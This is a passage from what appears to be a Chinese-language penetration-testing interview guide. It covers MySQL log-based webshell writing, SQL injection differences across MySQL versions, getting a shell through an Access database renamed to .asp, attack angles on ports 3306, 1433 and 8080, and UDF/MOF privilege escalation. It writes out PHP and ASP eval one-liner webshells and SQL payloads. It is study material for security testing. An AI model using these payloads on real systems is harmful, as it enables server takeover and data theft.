SET GLOBAL general_log = 'on';开启全局日志,并将日志存储路径修改为 Web 目录下的 PHP 文件:SET GLOBAL general_log_file = '/var/www/html/log.php';。 - 随后,发起一个包含一句话木马的虚假查询语句,如
SELECT '<?php @eval($_POST[cmd]);?>';。这句带木马的 SQL 会被当作系统日志直接记录到log.php中,从而被当做 WebShell 解析执行。
3. 直接命令执行(特定数据库层面的 RCE)
如果目标是特定的数据库(如 MSSQL、Oracle 或存在漏洞的 PostgreSQL),可以尝试跳过写文件,直接执行系统命令。
24、mysql 的网站注入,5.0 以上和 5.0 以下有什么区别?
MySQL 5.0 及以上版本与 5.0 以下版本在 SQL 注入上的区别,主要体现在元数据库的有无以及内置函数的支持度上。核心差异可以总结为以下三个维度:
- 1. 核心分水岭:information_schema 库的存在与否
- 5.0 及以上版本: 引入了
information_schema这个系统元数据库,它记录了整个 MySQL 实例中所有数据库、表、列的名称和结构信息。在注入时,可以通过UNION SELECT直接系统性地查询information_schema.tables和information_schema.columns,从而实现自动化、公式化地脱库(直接遍历出所有的表名和字段名)。 - 5.0 以下版本(如 4.x): 没有这个系统库。这意味着测试人员无法通过 SQL 语句直接查出表名和列名,只能依靠“盲猜”或者字典爆破。
- 5.0 及以上版本: 引入了
- 2. 5.0 以下版本获取表名 / 列名的特殊手段(盲猜机制)
由于无法直接查询元数据,针对 5.0 以下版本的注入,通常需要采用以下降级策略:- 字典爆破表名: 利用
EXISTS语句配合常见的表名字典进行猜解。例如输入AND EXISTS(SELECT * FROM admin),如果页面返回正常,说明存在 admin 表;如果报错或异常,说明不存在。 - 字典爆破列名: 同样利用常见的列名字典,例如
AND EXISTS(SELECT username FROM admin)来逐个确认字段名。 - 如果字典爆破彻底失效,通常只能依靠
load_file()函数去读取网站的配置文件或源代码,通过审阅代码来硬性获取表名 and 列名。
- 字典爆破表名: 利用
- 3. 关键内置函数与特性的差异
除了元数据,很多高级注入手法依赖的内置函数在 5.0 以下版本是不存在的:- 延时盲注的差异:
sleep()函数是在 MySQL 5.0.12 版本才引入的。如果在 5.0 以下版本需要进行时间盲注,只能使用耗费 CPU 资源的benchmark()函数(例如benchmark(10000000, md5(1)))来人为制造响应延迟。 - 报错注入的差异: 目前主流的报错注入函数,如
updatexml()和extractvalue(),是在 MySQL 5.1 版本才引入的。因此在较老的版本中,通常只能依赖更为古老的floor()配合rand()和group by来触发主键冲突报错。
- 延时盲注的差异:
25、access 扫出后缀为 asp 的数据库文件,访问乱码,如何实现到本地利用?
在早期的 Web 架构中,管理员为了防止 Access 数据库(原本通常为 .mdb 后缀)被黑客直接下载脱库,常常会将其后缀名修改为 .asp 或 .asa。访问时出现‘乱码’,是因为 IIS 服务器在解析 .asp 后缀时,会将其交由 ASP 脚本引擎执行,但数据库本质上是二进制文件,引擎无法正确解析,再加上浏览器尝试将二进制数据强行转码显示,最终就呈现出了乱码。针对这种情况,实战中通常有两种维度的利用思路:
1. 核心需求:如何完整下载到本地并利用(绕过解析)
要将 .asp 后缀的数据库下载到本地,核心挑战是避免服务器将其作为脚本解析并导致下载截断。通常采用以下两种方法:
- 直接工具下载与后缀还原: 乱码往往只是浏览器的前端渲染行为。可以使用第三方下载工具(如迅雷、IDM,或者命令行的
wget/curl)直接请求该 URL。下载完成后,在本地将其后缀名由.asp改回.mdb,即可使用 Microsoft Access 软件或 Access 密码查看器正常打开,获取数据库内的数据。 - 利用 Range 头部绕过解析截断: 如果 IIS 引擎在尝试解析数据库文件的二进制代码时报错(例如引发 500 内部服务器错误),会导致常规下载只能下载到一半。此时可以使用支持断点续传的下载工具。断点续传会在 HTTP 请求中携带
Range头部(如Range: bytes=0-),这种特殊的请求方式在老版本 IIS 中会绕过 ASP ISAPI 扩展的解析,直接返回原始的二进制文件。
2. 进阶打击:利用 .asp 后缀直接 GetShell(数据库插马)
既然数据库文件的后缀是 .asp,这意味着只要文件内部存在合法的 ASP 脚本标签 <% %>,IIS 就会将其当作代码执行。
- 利用方式: 测试人员可以通过网站正常的功能(如留言板、用户注册、修改个人资料等输入框),将一句话木马(如
<%eval request("cmd")%>)作为正常数据提交并存入数据库中。 - 触发执行: 此时再次访问该数据库的 URL(
xxx.com/data.asp),IIS 引擎在解析这个庞大的二进制文件时,一旦读取到刚刚存入的<%eval request("cmd")%>标签,就会立刻将其作为 ASP 脚本执行。测试人员即可直接使用蚁剑或冰蝎连接,拿到服务器的 WebShell。
26、3306、1433、8080 是什么端口?
在常规的安全测试中,这三个端口分别对应着非常经典的数据库或 Web 中间件服务:
1. 端口 3306:MySQL 数据库默认通信端口
- 服务对应: MySQL 关系型数据库。
- 安全攻防视角(加分项): 在实战打点中,扫出 3306 端口后,首要动作通常是尝试 root 账户的弱口令爆破或未授权访问测试。一旦拿到高权限数据库凭证,下一步就是尝试突破边界获取服务器权限(GetShell),常用手法包括:利用
INTO OUTFILE或全局日志写 WebShell、利用UDF(用户自定义函数)提权,或者在老版本中利用MOF提权直接执行系统命令。
2. 端口 1433
- 服务对应: 1433 是 Microsoft SQL Server (MSSQL) 的默认端口。
- 安全攻防视角(加分项): 针对 MSSQL 的渗透,核心也是瞄准
sa(超级管理员)账号的弱口令。MSSQL 相比其他数据库有一个在渗透测试中极其好用的特性——自带xp_cmdshell扩展存储过程。一旦获取sa权限,即可开启该组件直接执行底层的 Windows 系统命令(如反弹 Shell、添加管理员账号等),是极其危险的内网突破口。
3. 端口 8080:Web 中间件或代理服务的常用备用端口
- 服务对应: 最常见于 Apache Tomcat 中间件的默认端口,也常用于 WebLogic、JBoss 或是 HTTP 代理服务。
- 安全攻防视角(加分项): 如果 8080 端口运行的是 Tomcat,安全人员会立刻去探测其默认的管理后台(如
/manager/html),尝试爆破tomcat/tomcat等默认口令。一旦登入后台,可以通过部署恶意的.war压缩包直接一键 GetShell。此外,由于 Java 框架常部署于此,8080 端口也是 Shiro、Fastjson 反序列化漏洞,以及 Apache Struts2 RCE 漏洞的重灾区。
27、mysql 两种提权方式 (udf,?)?
在获取了 MySQL 的高权限(如 root 账号)但尚未取得服务器操作系统权限时,实战中最常使用的两种经典提权手段是 UDF 提权与 MOF 提权。它们的核心思想都是利用数据库的文件写入功能与底层操作系统机制进行交互。
1. UDF 提权(用户自定义函数提权)
- 核心原理: UDF(User Defined Function)是 MySQL 提供的一种扩展机制,允许用户通过加载外部的动态链接库(Windows 下为
.dll,Linux 下为.so)来增加数据库没有的内置函数。测试人员可以将包含恶意代码(如能够调用操作系统的cmd.exe或bash的代码)的动态链接库文件,通过 MySQL 的INTO DUMPFILE或INTO OUTFILE写入到服务器的特定目录中。随后,在数据库中利用这个动态链接库创建一个自定义函数(如sys_exec或sys_eval),从而实现在 SQL 语句中直接执行系统级别的高权限命令。 - 关键细节: UDF 提权对写入目录有严格的依赖,且与 MySQL 的版本高度相关:
- 在 MySQL 5.1 以下版本:Windows 系统中需要将
dll文件写入到C:\Windows或C:\Windows\System32目录下。 - 在 MySQL 5.1 及以上版本:必须将动态链接库写入到 MySQL 安装目录的
lib/plugin/文件夹下。如果该文件夹不存在,通常还需要利用 NTFS 数据流(ADS)等技巧强制创建该目录。
- 在 MySQL 5.1 以下版本:Windows 系统中需要将
2. MOF 提权(基于 Windows 管理规范的提权)
- 核心原理: 这是专门针对老版本 Windows 系统(尤其是 Windows Server 2003)的经典提权手法。MOF(Managed Object Format)是 WMI(Windows 管理规范)中用来描述对象的文件。在 Windows 系统的
C:\Windows\System32\wbem\mof\目录下,系统会每隔几秒钟自动轮询并以SYSTEM权限(最高权限)编译和执行放入该目录的任何.mof文件。 - 利用过程: 测试人员只需在本地构造一个恶意的
.mof文件(内容通常包含添加隐藏系统管理员账号、执行木马等命令的 VBS/WSH 脚本),然后利用 MySQL 的高权限将其写入到上述的wbem\mof\目录下。系统自动提取并执行该文件后,提权即告完成。 - 限制条件: MOF 提权由于太过危险,微软在 Windows Server 2008 及以后的版本中更改了机制,放入该目录的 MOF 文件不再被自动静默执行。因此,该方法主要用于对抗极其老旧的 Windows 靶机或遗留系统。